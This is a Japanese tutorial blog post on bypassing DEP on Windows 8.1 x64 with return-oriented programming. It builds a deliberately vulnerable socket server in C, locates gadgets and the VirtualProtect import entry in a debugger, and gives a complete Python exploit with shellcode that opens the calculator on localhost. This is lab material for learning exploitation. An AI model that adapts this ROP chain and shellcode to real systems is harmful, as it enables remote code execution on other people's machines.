Windows x64でReturn-oriented Programming(ROP)によるDEP回避をやってみる
「WindowsでReturn-oriented Programming(ROP)によるDEP回避をやってみる」では、Windows 32ビット環境でROPによるDEP回避を行った。 ここでは、Windows 64ビット環境でのROPをやってみる。
環境
Windows 8.1 Pro 64 bit版、Visual Studio Community 2013 with Update 4
>systeminfo
OS 名: Microsoft Windows 8.1 Pro
OS バージョン: 6.3.9600 N/A ビルド 9600
OS 製造元: Microsoft Corporation
システムの種類: x64-based PC
プロセッサ: 1 プロセッサインストール済みです。
[01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~758 Mhz
>cl
Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x64
>dumpbin
Microsoft (R) COFF/PE Dumper Version 12.00.31101.0
脆弱性のあるプログラムを書いてみる
「WindowsでReturn-oriented Programming(ROP)によるDEP回避をやってみる」と同様に、スタックバッファオーバーフロー脆弱性のあるプログラムコードを書いてみる。
/* bof.c */
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
void somewhere()
{
char buf[1024];
DWORD oldprotect;
VirtualProtect(buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldprotect);
}
void bof(SOCKET c)
{
char buf[400];
printf("[+] buf = %p\n", buf);
recv(c, buf, 1024, 0);
}
int main()
{
WSADATA wsaData;
SOCKET s, c;
SOCKADDR_IN name;
BOOL yes = 1;
WSAStartup(MAKEWORD(2, 2), &wsaData);
s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (const char *)&yes, sizeof(yes));
name.sin_family = AF_INET;
name.sin_addr.s_addr = INADDR_ANY;
name.sin_port = htons(4444);
bind(s, (SOCKADDR *)&name, sizeof(name));
listen(s, 5);
puts("[+] listening on 0.0.0.0 port 4444");
c = accept(s, NULL, NULL);
closesocket(s);
puts("[+] connection accepted");
bof(c);
closesocket(c);
ExitProcess(0);
}
上のコードでは、プログラム中のどこかでVirtualProtect関数が使われている状況を想定し、somewhere関数を追加してある。
64ビットコンパイラを用い、ASLR、stack canary(/GS)無効、DEP有効となる設定でコンパイルする。 さらに、生成されたbof.exeを実行し、待ち受けているポートに接続すると次のようになる。
>cl bof.c /GS- /link /dynamicbase:no >bof.exe [+] listening on 0.0.0.0 port 4444 [+] connection accepted [+] buf = 000000000013FB70
$ nc localhost 4444 AAAA
必要なアドレスを調べてみる
まず、VirtualProtect関数のIATエントリが置かれたアドレスを調べてみる。
>cdb bof.exe
(snip)
(1b40.23fc): Break instruction exception - code 80000003 (first chance)
ntdll!LdrpDoDebuggerBreak+0x30:
00007ffb`af7e1970 cc int 3
0:000> !dh -f 00000001`40000000
(snip)
D000 [ 258] address [size] of Import Address Table Directory
(snip)
0:000> dps 00000001`40000000+D000
00000001`4000d000 00007ffb`ad200cf0*** ERROR: Symbol file could not be found.
Defaulted to export symbols for C:\WINDOWS\system32\KERNEL32.DLL -
KERNEL32!UnhandledExceptionFilter
00000001`4000d008 00007ffb`ad121550 KERNEL32!CreateFileW
00000001`4000d010 00007ffb`ad121270 KERNEL32!CloseHandle
00000001`4000d018 00007ffb`ad121920 KERNEL32!LCMapStringW
00000001`4000d020 00007ffb`ad125160 KERNEL32!FatalExit
00000001`4000d028 00007ffb`ad1214b0 KERNEL32!VirtualProtect
(snip)
上の結果から、VirtualProtect関数のIATエントリが000000014000d028にあることがわかる。
次に、関数呼び出しに使えるROP gadgetを探してみる。 dumpbinコマンドでプログラム全体のディスアセンブル結果を書き出し、合わせてrp++によるROP gadgetの検索結果も書き出しておく。
>dumpbin /disasm bof.exe >disasm.txt >rp-win-x64.exe --file bof.exe --rop=3 --unique >gadgets.txt
ここで、disasm.txtをcall raxで検索すると、次のようなコードが見つかる。
0000000140007C15: 44 8B CD mov r9d,ebp 0000000140007C18: 4D 8B C4 mov r8,r12 0000000140007C1B: 49 8B D7 mov rdx,r15 0000000140007C1E: 48 8B CF mov rcx,rdi 0000000140007C21: FF D0 call rax 0000000140007C23: EB 02 jmp 0000000140007C27 0000000140007C25: 33 C0 xor eax,eax 0000000140007C27: 48 8B 4C 24 48 mov rcx,qword ptr [rsp+48h] 0000000140007C2C: 48 33 CC xor rcx,rsp 0000000140007C2F: E8 3C CD FF FF call 0000000140004970 0000000140007C34: 48 83 C4 50 add rsp,50h 0000000140007C38: 41 5F pop r15 0000000140007C3A: 41 5E pop r14 0000000140007C3C: 41 5C pop r12 0000000140007C3E: 5F pop rdi 0000000140007C3F: 5E pop rsi 0000000140007C40: 5D pop rbp 0000000140007C41: 5B pop rbx 0000000140007C42: C3 ret
デバッグ情報をつけてコンパイル(/Zi)したときの結果と比べながら、上のコードに補足を加えると次のようになる。
__crtMessageBoxW: (snip) addr_msgbox2: 0000000140007C15: 44 8B CD mov r9d,ebp 0000000140007C18: 4D 8B C4 mov r8,r12 0000000140007C1B: 49 8B D7 mov rdx,r15 0000000140007C1E: 48 8B CF mov rcx,rdi 0000000140007C21: FF D0 call rax # call here 0000000140007C23: EB 02 jmp canary_check 0000000140007C25: 33 C0 xor eax,eax canary_check: 0000000140007C27: 48 8B 4C 24 48 mov rcx,qword ptr [rsp+48h] 0000000140007C2C: 48 33 CC xor rcx,rsp 0000000140007C2F: E8 3C CD FF FF call __security_check_cookie 0000000140007C34: 48 83 C4 50 add rsp,50h addr_msgbox1: 0000000140007C38: 41 5F pop r15 # -> rdx (2nd arg) 0000000140007C3A: 41 5E pop r14 0000000140007C3C: 41 5C pop r12 # -> r8 (3rd arg) 0000000140007C3E: 5F pop rdi # -> rcx (1st arg) 0000000140007C3F: 5E pop rsi 0000000140007C40: 5D pop rbp # -> r9d (4th arg) 0000000140007C41: 5B pop rbx 0000000140007C42: C3 ret
__crtMessageBoxW関数に含まれる上のコードを使うと、Linux x64における__libc_csu_init gadgetsと同じように、関数呼び出しにおける引数レジスタのセットを行うことができる。
すなわち、addr_msgbox1でスタックから各レジスタに値をセットした後、addr_msgbox2にジャンプすることでrcx、rdx、r8、r9dレジスタの値を自由にセットできる。
raxレジスタの値は事前にセットしておく必要があるが、このままではcanary_checkの処理に進んでしまいプログラムが不正終了してしまう。
そこで、raxレジスタにpop-ret gadgetを入れcall raxによって積まれたリターンアドレスを捨てることで、後続のROPシーケンスが実行されるようにする。
上の手順に必要なROP gadgetをgadget.txtから探すと、次のようなものが見つかる。
0x140005c10: pop rax ; add rsp, 0x30 ; pop r15 ; ret ; (1 found) 0x14000154e: pop rdi ; ret ; (53 found) 0x14000242b: jmp qword [rbx] ; (1 found)
addr_msgbox1でrbxレジスタにIATエントリのアドレスを入れた上で最後のgadgetを用いると、IATにある任意のAPI関数を呼ぶことができる。
エクスプロイトコードを書いてみる
以上の内容をもとに、ROPでVirtualProtect関数を呼び出した後シェルコードを実行するエクスプロイトコードを書くと次のようになる。
# exploit.py
import socket
import struct
# WinExec("calc", SW_SHOWNORMAL); ExitProcess(0);
shellcode = "\xFC\xEB\x76\x51\x52\x33\xC0\x65\x48\x8B\x40\x60\x48\x8B\x40\x18\x48\x8B\x70\x10\x48\xAD\x48\x89\x44\x24\x20\x48\x8B\x68\x30\x8B\x45\x3C\x83\xC0\x18\x8B\x7C\x28\x70\x48\x03\xFD\x8B\x4F\x18\x8B\x5F\x20\x48\x03\xDD\x67\xE3\x3A\xFF\xC9\x8B\x34\x8B\x48\x03\xF5\x33\xC0\x99\xAC\x84\xC0\x74\x07\xC1\xCA\x0D\x03\xD0\xEB\xF4\x3B\x54\x24\x18\x75\xE0\x8B\x5F\x24\x48\x03\xDD\x66\x8B\x0C\x4B\x8B\x5F\x1C\x48\x03\xDD\x8B\x04\x8B\x48\x03\xC5\x5A\x59\x5E\x5F\x56\xFF\xE0\x48\x8B\x74\x24\x20\xEB\x9B\x33\xC9\x48\x8D\x51\x01\x51\x68\x63\x61\x6C\x63\x48\x8B\xCC\x48\x83\xEC\x28\x68\x98\xFE\x8A\x0E\xE8\x6D\xFF\xFF\xFF\x33\xC9\x68\x7E\xD8\xE2\x73\xE8\x61\xFF\xFF\xFF"
"""
addr_msgbox2:
0000000140007C15: 44 8B CD mov r9d,ebp
0000000140007C18: 4D 8B C4 mov r8,r12
0000000140007C1B: 49 8B D7 mov rdx,r15
0000000140007C1E: 48 8B CF mov rcx,rdi
0000000140007C21: FF D0 call rax
0000000140007C23: EB 02 jmp 0000000140007C27
0000000140007C25: 33 C0 xor eax,eax
0000000140007C27: 48 8B 4C 24 48 mov rcx,qword ptr [rsp+48h]
0000000140007C2C: 48 33 CC xor rcx,rsp
0000000140007C2F: E8 3C CD FF FF call 0000000140004970
0000000140007C34: 48 83 C4 50 add rsp,50h
addr_msgbox1:
0000000140007C38: 41 5F pop r15
0000000140007C3A: 41 5E pop r14
0000000140007C3C: 41 5C pop r12
0000000140007C3E: 5F pop rdi
0000000140007C3F: 5E pop rsi
0000000140007C40: 5D pop rbp
0000000140007C41: 5B pop rbx
0000000140007C42: C3 ret
"""
addr_buf = 0x000000000013FB70
addr_msgbox1 = 0x0000000140007C38
addr_msgbox2 = 0x0000000140007C15
addr_pop_rax_38 = 0x140005c10 # 0x140005c10: pop rax ; add rsp, 0x30 ; pop r15 ; ret ; (1 found)
addr_pop_rdi = 0x14000154e # 0x14000154e: pop rdi ; ret ; (53 found)
addr_jmp_ptr_rbx = 0x14000242b # 0x14000242b: jmp qword [rbx] ; (1 found)
iat_virtualprotect = 0x000000014000d028 # 00000001`4000d028 00007ffb`ad1214b0 KERNEL32!VirtualProtect
bufsize = 400
buf = 'A' * bufsize
buf += 'AAAAAAAA'
buf += struct.pack('<Q', addr_pop_rax_38) # retaddr
buf += struct.pack('<Q', addr_pop_rdi)
buf += 'A' * 0x38
buf += struct.pack('<QQQQQQQQ', addr_msgbox1, 1024, 0, 0x40, addr_buf, 0, addr_buf, iat_virtualprotect)
buf += struct.pack('<Q', addr_msgbox2)
buf += struct.pack('<Q', addr_jmp_ptr_rbx)
buf += struct.pack('<Q', addr_buf+len(buf)+8)
buf += shellcode
c = socket.create_connection(('127.0.0.1', 4444))
c.sendall(buf)
c.close()
bof.exeを起動し、エクスプロイトコードを実行してみる。
>bof.exe [+] listening on 0.0.0.0 port 4444
$ python exploit.py
シェルコードが実行され、電卓が起動することが確認できる。